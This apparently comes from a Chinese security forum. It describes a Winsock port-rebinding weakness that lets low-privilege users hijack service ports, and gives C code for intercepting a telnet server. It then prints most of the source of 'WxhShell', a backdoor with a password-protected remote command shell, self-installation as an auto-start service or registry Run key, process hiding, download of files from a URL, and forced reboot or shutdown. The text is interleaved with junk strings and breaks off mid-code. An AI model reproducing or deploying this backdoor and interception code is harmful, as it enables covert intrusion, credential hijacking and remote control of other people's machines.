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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QYBLU7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "JYWsE  
&Fmen;(  
  saddr.sin_family = AF_INET; ')fIa2dO/  
dsK ^-e6:5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pG/g  
$VxuaOTyVZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aJ]t1  
MAc/ T.[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~~ty9;KYL  
^M1O)   
  这意味着什么?意味着可以进行如下的攻击: xkaed  
f+c{<fX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 itO1ROmu  
<%`z:G3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P[ Vf$ q<  
7 :u+-U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yN}<l%  
$T2zs$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I =K<%.  
MY&?*pV)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V5I xZn%  
\]L h a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,#.^2O9-^  
&v r0{]V^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rN {5^+w  
`zcpaE.@  
  #include &#]||T-  
  #include 34vH+,!u  
  #include C[JPohm  
  #include    yv5c0G.D  
  DWORD WINAPI ClientThread(LPVOID lpParam);    $)(Zt^  
  int main() @Z~0!VY  
  { Ti5"a<R4m6  
  WORD wVersionRequested; 1a},(ZcdX  
  DWORD ret; .noY[P 8i  
  WSADATA wsaData; QVR-`d/  
  BOOL val; 9Bu=8P?  
  SOCKADDR_IN saddr; hN1{?PQ  
  SOCKADDR_IN scaddr; ) .H nK  
  int err; K5d>{c  
  SOCKET s; xkz`is77Y@  
  SOCKET sc; t\<*Q3rl-  
  int caddsize; o6:p2W  
  HANDLE mt; d8f S79  
  DWORD tid;   4wwRNu*  
  wVersionRequested = MAKEWORD( 2, 2 ); !z?:Y#P3  
  err = WSAStartup( wVersionRequested, &wsaData ); ZpU4"x>  
  if ( err != 0 ) { MXY!N /  
  printf("error!WSAStartup failed!\n"); 'p'nAB''!  
  return -1; 3],[6%w  
  } 2FTJxSC  
  saddr.sin_family = AF_INET; ;cWFh4_  
   p:|p?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 of.=n  
}j#c#''i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2wZyUB;  
  saddr.sin_port = htons(23); !2]G.|5/A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `ve5>aw0_Y  
  { 4*+)D8  
  printf("error!socket failed!\n"); T(eNK c2  
  return -1; uacVF[9|W  
  } , @6_sl  
  val = TRUE; !iGZo2LV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |Iq\ZX%q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Yg")/*!H  
  { WAh{*$Rpl  
  printf("error!setsockopt failed!\n"); *s"{JrG`O  
  return -1; "V7&@3  
  } 0-A@X>6bs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ).>O6A4:C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,N5-(W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N7qSbiRf<  
lV<j?I~?Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R&s\h"=*  
  { I!,FxOM|$  
  ret=GetLastError(); 9xUAfU  
  printf("error!bind failed!\n"); &1Idv}@!  
  return -1; >PiEu->P,  
  } Tk0Senq,  
  listen(s,2); r}])V[V  
  while(1) Z6r_T  
  { cH\.-5NQ  
  caddsize = sizeof(scaddr); |=4imM7  
  //接受连接请求 O LxiY r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^T/d34A;SP  
  if(sc!=INVALID_SOCKET) w#`E;fN'  
  { {3=]cLtt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x AR9* <-  
  if(mt==NULL) '|l1-yD_  
  { 4P}<86xk  
  printf("Thread Creat Failed!\n"); @Vac!A??:  
  break; skn];%[v\  
  } o%=OBTh_   
  } TW?A/GoXI  
  CloseHandle(mt); Ny)!uqul*  
  } cYp]zn+6  
  closesocket(s); V@Fj!/  
  WSACleanup(); keWqL]  
  return 0; 2p|[yZ  
  }   L+y90 T6?  
  DWORD WINAPI ClientThread(LPVOID lpParam) C e1^S[  
  { -XtDGNH F  
  SOCKET ss = (SOCKET)lpParam; ,XNz.+Ov  
  SOCKET sc; ue{0X\[P<  
  unsigned char buf[4096]; :Sd iG=t  
  SOCKADDR_IN saddr; ?Dk&5d^d  
  long num; x0_$,Tz@  
  DWORD val; }*I:0"WH  
  DWORD ret; sKI{AHJ?X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rXlJW]i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WfE,U=e*  
  saddr.sin_family = AF_INET;  \>*B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ril4*$e7^\  
  saddr.sin_port = htons(23); &]Q\@;]Aq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) StJ&YYdD  
  { YYUWBnf30G  
  printf("error!socket failed!\n"); 0(!D1G{ul  
  return -1; ;y"q uJ'O  
  } H"A|Z6y$^  
  val = 100; ?4,e?S6,[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fB3W} dr  
  { !4B($]t  
  ret = GetLastError(); VCZ.{MD  
  return -1; 0W I3m2i  
  } L<**J\=7M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P Yp<eo\  
  { J}cqBk>  
  ret = GetLastError(); I+]q;dF;  
  return -1; Bdd>r# ]  
  } 0R%R2p'wG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0]3#3TH  
  { Una7O]  
  printf("error!socket connect failed!\n"); t)Mi,ljY[  
  closesocket(sc); y QxzFy  
  closesocket(ss); >F~]r$G  
  return -1; 3-5X^!C  
  } -_RMiGM?T  
  while(1) b-rgiR$cg  
  { QK3j.Ss  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z;bg;@r|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5g3D}F>OJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3;6Criq}  
  num = recv(ss,buf,4096,0); se1\<YHDS  
  if(num>0) z\fmwI  
  send(sc,buf,num,0); >Hq)1o  
  else if(num==0) \.tnzP D  
  break; 8f37o/L  
  num = recv(sc,buf,4096,0); |lOH PA  
  if(num>0) q;p:)Q"  
  send(ss,buf,num,0); VnB"0 "%w  
  else if(num==0) &v\  
  break; ,dM}B-  
  } ,Mp/Y>f  
  closesocket(ss); &nk[gb o\  
  closesocket(sc); I8C(z1(N  
  return 0 ; *0GR }k  
  } ersddb^J]  
INFbj8T  
O]SjShp  
========================================================== VgHVj)ir  
!z7j.u`Y  
下边附上一个代码,,WXhSHELL e==}qQ  
k<098F  
========================================================== }&Gt&Hm>K  
  SW ^F  
#include "stdafx.h" G G]4g)O5  
k/&~8l.$  
#include <stdio.h> 7n,*3;I  
#include <string.h> Vnu*+  
#include <windows.h> <lj;}@qQ<  
#include <winsock2.h> f?OFMac  
#include <winsvc.h> Ungex@s_  
#include <urlmon.h> _%` )cOr  
Hvto]~=GQ  
#pragma comment (lib, "Ws2_32.lib") G{,X_MZ%  
#pragma comment (lib, "urlmon.lib") cg-\|H1  
~9N n8g6  
#define MAX_USER   100 // 最大客户端连接数 gi|j ! m  
#define BUF_SOCK   200 // sock buffer 06FBI?;|=  
#define KEY_BUFF   255 // 输入 buffer b42"Y,sbB  
[/ B$cH  
#define REBOOT     0   // 重启 df=G}M(  
#define SHUTDOWN   1   // 关机 ' w^Md  
y my/`%  
#define DEF_PORT   5000 // 监听端口 z3V[ Vi  
'$@bTW  
#define REG_LEN     16   // 注册表键长度 #Ont1>T,G  
#define SVC_LEN     80   // NT服务名长度 ,U\F <$O  
%z}{jqD&:X  
// 从dll定义API Lc<v4Bp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @pcmVsIp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |2#)lGA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L{py\4z'_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U,?[x2LF  
&&/2oP+z  
// wxhshell配置信息 @ j/UDM  
struct WSCFG { :`~;~gW<  
  int ws_port;         // 监听端口 h/7m.p]  
  char ws_passstr[REG_LEN]; // 口令 ^h}xFiAV#  
  int ws_autoins;       // 安装标记, 1=yes 0=no bG`aF*10)!  
  char ws_regname[REG_LEN]; // 注册表键名 i/j DwA  
  char ws_svcname[REG_LEN]; // 服务名 s}NE[Tw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8ug\GlZc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }pOem}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^XsIQz[q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TC7Rw}jF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j:)"s_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [YbnpI  
MlDWK_y_&  
}; hmfO\gc}y  
>h?!6L- d  
// default Wxhshell configuration S${n:e0\  
struct WSCFG wscfg={DEF_PORT, IkzY   
    "xuhuanlingzhe", D<-MbK^S  
    1, j06q3N"  
    "Wxhshell", 9~ [Sio~  
    "Wxhshell", >}& :y{z~  
            "WxhShell Service", jF5Y-CX  
    "Wrsky Windows CmdShell Service", ^EK]z8;|  
    "Please Input Your Password: ", A2fc_A/a  
  1, v{/z`J!JR  
  "http://www.wrsky.com/wxhshell.exe", A4lW8&rHI  
  "Wxhshell.exe" 8.9Z0  
    }; tVB9kxtE  
C,2k W`[V  
// 消息定义模块 0+\%os V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %r1NRg8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ws!pp\F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ak :Y<}  
char *msg_ws_ext="\n\rExit."; `Bw>0%.  
char *msg_ws_end="\n\rQuit."; O] T'\6w  
char *msg_ws_boot="\n\rReboot..."; 4CUzp.S`h  
char *msg_ws_poff="\n\rShutdown..."; kj$Ks2!W  
char *msg_ws_down="\n\rSave to "; ,4O|{Iu#n  
k[{h$  
char *msg_ws_err="\n\rErr!"; h!k[]bt5  
char *msg_ws_ok="\n\rOK!"; =l7@YCj5c  
- '<K_e;  
char ExeFile[MAX_PATH]; 2pKkg>/S  
int nUser = 0; }XJA#@  
HANDLE handles[MAX_USER]; /$w,8pV =  
int OsIsNt; ,".1![b  
|ia#Elavo  
SERVICE_STATUS       serviceStatus; nY]5pOF:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  `7v"(  
WOw( -  
// 函数声明 )Z.v fc  
int Install(void); >bwB+-lyL  
int Uninstall(void); S!'Y:AeD&  
int DownloadFile(char *sURL, SOCKET wsh); V 6DWYs>  
int Boot(int flag); 'T!^H  
void HideProc(void); Pdq}~um3{  
int GetOsVer(void); eflmD$]SW  
int Wxhshell(SOCKET wsl); L5-p0O`R  
void TalkWithClient(void *cs); O[$,e%  
int CmdShell(SOCKET sock); } D'pyTf[  
int StartFromService(void); AQx:}PO  
int StartWxhshell(LPSTR lpCmdLine); sbeS9vE  
hH&A1vUv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8>\tD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J@ CKgE  
A_:CGtv:  
// 数据结构和表定义 Mm&#I[:  
SERVICE_TABLE_ENTRY DispatchTable[] = 8-s7^*!  
{ ZGa;'  
{wscfg.ws_svcname, NTServiceMain}, & xAwk-{W  
{NULL, NULL} xaPaK-  
}; LqZsH0C  
`>i8$q%  
// 自我安装 @N tiT,3k  
int Install(void) 50< QF  
{ QPc4bg\J~t  
  char svExeFile[MAX_PATH]; z CS.P.$  
  HKEY key; e-Pn,j  
  strcpy(svExeFile,ExeFile); <"GgqyRzv  
hDn?R}^l{  
// 如果是win9x系统,修改注册表设为自启动 < 5 ?  
if(!OsIsNt) { F,[GdE;P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (uW$ch@2K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "!g}Q*   
  RegCloseKey(key); vYPZVqF_$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0~/'c0Ho  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }0y2k7^]  
  RegCloseKey(key); b.N$eJlQ&  
  return 0; S S)9+0$  
    } Z,jR:_ p  
  } m }J@w~#  
} w \U?64  
else { vtA%^~0  
QWncKE,O$  
// 如果是NT以上系统,安装为系统服务 yhuzjn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~;V5*t  
if (schSCManager!=0) L?Fb}  
{ H Q_IQ+  
  SC_HANDLE schService = CreateService D&dh>Pe1;  
  ( ^t 2b`n60  
  schSCManager, !l(O$T9 T  
  wscfg.ws_svcname, "mtEjK5  
  wscfg.ws_svcdisp, _HAtTW  
  SERVICE_ALL_ACCESS, z^FJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #CV;Np  
  SERVICE_AUTO_START, \aY<| 7zK  
  SERVICE_ERROR_NORMAL, }wIF$v?M  
  svExeFile, Os rHA  
  NULL, E',z<S  
  NULL, _spW~"|G  
  NULL, X21k7 Ls  
  NULL, Y\ C"3+I  
  NULL WA?We7m$  
  ); kMz*10$gn  
  if (schService!=0) P9W!xvV`w  
  { BzXTHFMSy  
  CloseServiceHandle(schService); 2+oS'nL  
  CloseServiceHandle(schSCManager); X$Y\/|!z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kgv29j?k;  
  strcat(svExeFile,wscfg.ws_svcname); _?I6[Mz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )8JfBzR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RSTA!?K/.  
  RegCloseKey(key); qlNB\~HCe  
  return 0; k9*6`w  
    } gb^<6BYUG  
  } L=_   
  CloseServiceHandle(schSCManager); W6A-/;S\  
} gj@>9  
} Bo4MoSF}  
` 'vNHY  
return 1; kM;}$*?  
} Fy#7 <Hp  
%W8*vSbx  
// 自我卸载  r .`&z  
int Uninstall(void) 4}r.g0L  
{ cHAq[Ebp2!  
  HKEY key; N?{.}-Q  
8o  SL3  
if(!OsIsNt) { ]}Jb'(gMO4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s}93nv*ez  
  RegDeleteValue(key,wscfg.ws_regname); mb?r{WCi  
  RegCloseKey(key); ) >H11o{&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X 2Zp @q(  
  RegDeleteValue(key,wscfg.ws_regname); u$Wv*;TT%  
  RegCloseKey(key); sLOkLz"x  
  return 0; :5-t$^R  
  } ;39~G T  
} uE ^uP@d  
} Swxur+hfH  
else { $lAQcG&Q  
:m[HUh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3n)\D<f]#  
if (schSCManager!=0) tE$oV  
{ ;[q>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +'"NKZ.>TT  
  if (schService!=0) AT -  
  { 89YG `  
  if(DeleteService(schService)!=0) { p;<aZ&@O  
  CloseServiceHandle(schService); 9TU B3x^  
  CloseServiceHandle(schSCManager); ,ieew`  
  return 0; ai]KH7  
  } cR6Rb[9 N  
  CloseServiceHandle(schService); qir8RPW  
  } VfT@;B6ALF  
  CloseServiceHandle(schSCManager); 1 uJpn  
} p_EWpSOt7  
} lhBu?q  
3| F\a|N  
return 1; P_F0lO  
} R/\qDY,@  
;8Ts  
// 从指定url下载文件 Ewa/6=]LA  
int DownloadFile(char *sURL, SOCKET wsh) &`2$,zX#  
{ LJwy,-  
  HRESULT hr; _X~xfmU  
char seps[]= "/"; }Sh3AH/  
char *token; bcUa'ZfN<  
char *file; ?hOv Y)  
char myURL[MAX_PATH]; `s\E"QeZN  
char myFILE[MAX_PATH]; @^t1SPp  
 bE%*ZB  
strcpy(myURL,sURL); 1UN$eb7  
  token=strtok(myURL,seps); +(m*??TAV  
  while(token!=NULL) *Xk gwJq  
  { Dq<!wtFG[  
    file=token; V`_)H  
  token=strtok(NULL,seps); k&pV`.Imi  
  } #^9a[ZLj0  
\Z^Tk   
GetCurrentDirectory(MAX_PATH,myFILE); 2!nz>K  
strcat(myFILE, "\\"); Id?2(Tg  
strcat(myFILE, file); C4|H 5H  
  send(wsh,myFILE,strlen(myFILE),0); /& o<kY  
send(wsh,"...",3,0); _m#P\f'p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?#|in}  
  if(hr==S_OK) %&M*G@j  
return 0; %T DY &@i=  
else bb!cZ >Z  
return 1; Vy+kq_9  
}_h2:^n  
} " XlXu  
\os"j  
// 系统电源模块 **~1`_7~*  
int Boot(int flag) P] Xl  
{ o>y@1%aU  
  HANDLE hToken; L YMb)=u]  
  TOKEN_PRIVILEGES tkp; I6Oc`S!L  
0F%V+Y\R  
  if(OsIsNt) { 0GcOI}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {KqERS& g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xF`O ehVA  
    tkp.PrivilegeCount = 1; .tzQ hd>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gezZYP)d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i,mo0CSa  
if(flag==REBOOT) { iz:O]kI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vb/XT{T;b  
  return 0; znNv;-q  
} t}2M8ue(&  
else { VcORRUp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HC RmW'  
  return 0; uE&2M>2  
} F>"B7:P1:Q  
  } O/lu0acI  
  else { o(Q='kK  
if(flag==REBOOT) { U>a~V"5,u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 43/!pW  
  return 0; BF(Kaf;<t.  
} SAUG+{Uq  
else { dk@iAL*v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %P`|kPW1  
  return 0; &h?8yV4B  
} 86ml.VOR  
} )"&\S6*!  
.!Q?TSQ+{!  
return 1; "/zDcZbL;  
} Kc {~Q  
4 moVS1  
// win9x进程隐藏模块 Wf9K+my  
void HideProc(void) FS6I?q#tQ  
{ |&\cr\T\r  
l1D"*J 2`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DTM xfQdk  
  if ( hKernel != NULL ) J85Kgd1 \a  
  { W%P0X5YQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qh,Dcg2ZM"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RRJN@|"  
    FreeLibrary(hKernel);  F!&_  
  } h2mU  
m95;NT1N/g  
return; y3NMt6  
} W=?s-*F[~  
~w}Zv0  
// 获取操作系统版本 gpe-)hD@R  
int GetOsVer(void) RiCzH  
{ Z=y^9]  
  OSVERSIONINFO winfo; \ Q0-yNt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fhbp,CX4p  
  GetVersionEx(&winfo); d;LBV<Z?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tsl0$(2W  
  return 1; few=`%/  
  else 5JA5:4aev  
  return 0; o3xfif  
} KI8Q =*  
qh~S)^zFJ  
// 客户端句柄模块 rR 3(yy0L  
int Wxhshell(SOCKET wsl) Tp fC  
{ }Oh@`xTxt  
  SOCKET wsh; TF;}NQ  
  struct sockaddr_in client; P] 9-+  
  DWORD myID; w@\quy:  
O{44GB3  
  while(nUser<MAX_USER) ~riV9_-  
{ F ][QH\N  
  int nSize=sizeof(client); n^;Sh$ Os  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N!#TK9  
  if(wsh==INVALID_SOCKET) return 1; 8CN 0Q&|  
S1a}9Z|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xN]88L}Tn  
if(handles[nUser]==0) 1F58 2 l  
  closesocket(wsh); a>/jW-?  
else U{~R39  
  nUser++; _+x&[^gjP  
  } o9D]\PdL>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'CC;=@J  
nLv"ON~  
  return 0; -~ 5|_G2Y"  
} WMXk-?v4  
<-m?l6  
// 关闭 socket uZ7~E._  
void CloseIt(SOCKET wsh) ziBg'  
{ L?p,Sy<RI  
closesocket(wsh); d!]fou  
nUser--; V;t8v\  
ExitThread(0); $l!+SLK  
} D_4UM#Tw  
dr8`;$;G*  
// 客户端请求句柄 no lLeRE1  
void TalkWithClient(void *cs) ~i)IY1m"  
{ vTF_`X  
*Mr?}_,X*  
  SOCKET wsh=(SOCKET)cs; 84$#!=v  
  char pwd[SVC_LEN]; 6K zdWT  
  char cmd[KEY_BUFF]; +:fr(s!OE  
char chr[1]; rezH5d6z62  
int i,j; = ;"$t_t  
H3Z"u  
  while (nUser < MAX_USER) { _/zK ^S)  
'dTg\ Qv  
if(wscfg.ws_passstr) { .ko}m{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m?=9j~F *  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B)cVbjTn  
  //ZeroMemory(pwd,KEY_BUFF); N#? Ohz  
      i=0; $Q!J.}P@  
  while(i<SVC_LEN) { p4-bD_  
4,pSC  
  // 设置超时 =2yg:D  
  fd_set FdRead; _N-JRM m<  
  struct timeval TimeOut; iSz?V$}?  
  FD_ZERO(&FdRead); L_WVTz?`  
  FD_SET(wsh,&FdRead); eTp}*'$p  
  TimeOut.tv_sec=8; dJ0qg_ U&  
  TimeOut.tv_usec=0; yAt,XG3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \.7O0Q{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E5}wR(i,4  
l;gj],*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NFQR  
  pwd=chr[0]; "L p"o  
  if(chr[0]==0xd || chr[0]==0xa) { =Nj58l  
  pwd=0; 8+7=yN(  
  break; fm%1vM$[J  
  } 47c` ) *Hc  
  i++; ^,.G<2Kx&  
    } w/(hEF '  
]8i2'x  
  // 如果是非法用户,关闭 socket j 4B|ktf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^YLpZoo  
} }m6j6uAR6)  
=<M7t*!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _+\hDV>v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Se S^kJC  
iVKX *kqc  
while(1) { ~!w()v n  
'"=Mw;p  
  ZeroMemory(cmd,KEY_BUFF); m%hUvG| i  
J0hY~B~X  
      // 自动支持客户端 telnet标准   Q*+_%n1 /  
  j=0; 8VwByk8  
  while(j<KEY_BUFF) { `Oc`I9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A%G \ AT  
  cmd[j]=chr[0]; ul',!js?  
  if(chr[0]==0xa || chr[0]==0xd) { 1JU1XQi  
  cmd[j]=0; u,6 'yB'u  
  break; p2UZqq2  
  } S}rW=hO  
  j++; -O ro$=%  
    } LK^t ](F  
x>@+lV'O  
  // 下载文件 Z~-A*{u?  
  if(strstr(cmd,"http://")) { &@dW d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &x(^=sTHI  
  if(DownloadFile(cmd,wsh)) ]qJ6#sAw75  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]c8O"4n n  
  else Ti@X< C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {bUd"Tu  
  } Q\DD^Pbq  
  else { kS$HIOt823  
*WQ}ucE^#  
    switch(cmd[0]) { :z EhPx;B7  
  `2Buf8|a,  
  // 帮助 90pk  
  case '?': { hupYiI~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GMZj@q  
    break; QcQ:hHF  
  } A@wRP8<GKj  
  // 安装 hal3J  
  case 'i': { EuAJ.n  
    if(Install()) "KY9MBzPD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ErtiD  
    else o 6$Q>g`]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3f{%IU(z  
    break; J!QzF)$4J  
    } "Iy @PR?>  
  // 卸载 FshQ OFW  
  case 'r': { z90=,wd  
    if(Uninstall()) Q-[^!RAK?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~lR"3z_Z}  
    else VvwQz#S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "/).:9],}  
    break; 9^m&  [Z  
    } 4:=eO!6  
  // 显示 wxhshell 所在路径 `nO!_3  
  case 'p': { S? }@2[  
    char svExeFile[MAX_PATH]; 4=H/-v'&  
    strcpy(svExeFile,"\n\r"); ;mXr])J  
      strcat(svExeFile,ExeFile); /:a~;i  
        send(wsh,svExeFile,strlen(svExeFile),0); 4ifWNL^)  
    break; 7CGKm8T  
    } A#mf*]'  
  // 重启 R{r0dK"_  
  case 'b': { -IR9^)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fN8|4  
    if(Boot(REBOOT)) 6 m5\f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ms=I lz  
    else { saH +C@_,  
    closesocket(wsh); B 0%kq7>g  
    ExitThread(0); =;{vfjj  
    } n_@YKz;8  
    break; /Xi:k  
    } BZqb o`9  
  // 关机 FU0&EO  
  case 'd': { 7 :s6W%W1*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DTdL|x.{  
    if(Boot(SHUTDOWN)) HF wT  
